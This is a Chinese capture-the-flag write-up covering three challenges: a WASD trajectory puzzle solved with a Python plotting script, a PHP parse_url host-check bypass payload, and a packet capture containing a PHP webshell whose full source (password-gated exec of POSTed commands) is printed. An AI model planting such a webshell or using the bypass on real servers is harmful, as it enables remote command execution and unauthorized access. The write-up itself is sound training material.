网鼎杯第三场部分WriteUp

dewas

  下载附件,打开以后看到,附件中只有字母asdw和e,又提示是fps,所以,wsad应该对应的是上下左右,e表示结束。

1
ddssdssdssdssdssdssdswdwwdwwdwwdwwddssdssdssdssdswdwwdwwdwwdwwdwwdwwdedsssssssssssssedwdwwdwwdwwdwwdwwdwwddssdssdssdsaaaaaaaaddddddddsdssdssdsdedwwwedsddsdddsddddwdddwddwwawaaawaaawaaawaaawadwdwwdddwdddsdddsddsedddddwwwessssssssssssssddddwdddwddwddwddwdwwdwawwaawaawaawaaawaaaaeddddddddddddddddddesssssssssssssseddddddewwwwwwwwwwwwwwdssdssdssdssdssdssdssdwwwwwwwwwwwwwweddddddddddddddssssssewwawwawawaaasasassasssassdsssdsddsddddwdwwdwwwaaaeddddddssssssewdwdwdwdwdwdwdawawawawawawaweddddddddddeddddddddaaaaaaaasssssssddddddaaaaaassssssseddddddddddddwwwwwwwwwwwwwwessssssssssdssdsddsdddwddwdwwdwwwwwwwwwwedddddssssssssssssssewwwwwwwwwwwwwwdssdssdssdssdssdssdssdwwwwwwwwwwwwwwedddddesssssssssesssess

  猜测,移动的轨迹就是flag,使用python编写代码,生成轨迹。

  可以看出,轨迹形成的字母为WASDING>FUN,加上flag{} 就是flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding: utf-8
# Author: AdminTony
import matplotlib.pyplot as plt
with open("1.txt","r+") as file:
content = file.read()

contentListX = []
contentListY = []
x = 0
y = 0
for c in content:
if c=="a":
x = x-1
elif c=="d":
x = x+1
elif c=="w":
y = y+1
elif c=="s":
y = y-1
else:
continue
contentListX.append(x)
contentListY.append(y)

#print(contentListX)
#print(contentListY)

plt.plot(contentListX,contentListY)
plt.show()

comein

  在页面的源代码中,看到了该页面的逻辑代码。

1
2
3
4
5
6
7
8
9
10
11
12
ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI']; // 请求的uri
if(stripos($uri,".")){ // uri中要么不出现“.” 要么以“.”开头
die("Unkonw URI.");
}
if(!parse_url($uri,PHP_URL_HOST)){ //尝试解析uri
$uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$host = parse_url($uri,PHP_URL_HOST); //再次解析uri
if($host === "c7f.zhuque.com"){
setcookie("AuthFlag","flag{*******");
}

  简单的说:在最后解析$uri的HOST必须是c7f.zhuque.com,其中包含了”.”,因此uri要以”.”开头。uri以”.”开头,则第一次parse_url会为false,然后将uri拼接成http://ip{uri}

  百度了一下parse_url函数,看到:

  从而想到,uri可以构造为``.@c7f.zhuque.com/..//index.php

shell.pcap

  根据名称,猜测应该是webshell的数据包,直接搜索http协议

  shell的代码为:

1
2
3
4
5
6
7
8
9
10
<?php
$k = $_POST['k'];
$c = $_POST['c'];
$o = '';
if (md5($k) == '6d697064ad1b78f7e124df9807284f69') {
exec($c, $o);
$o = $o[0];
echo base64_encode(gzcompress($o, 6));
}
?>

  因此查询到的数据需要用以下代码来进行解密。

1
2
3
4
5
<?php
$st = "内容";
$st = gzuncompress(base64_decode($st));
echo $st;
?>

  继续查看数据包

  查看flag.txt的内容,因此下面的数据包应该有加密后的flag。

  拿去解密,并获取flag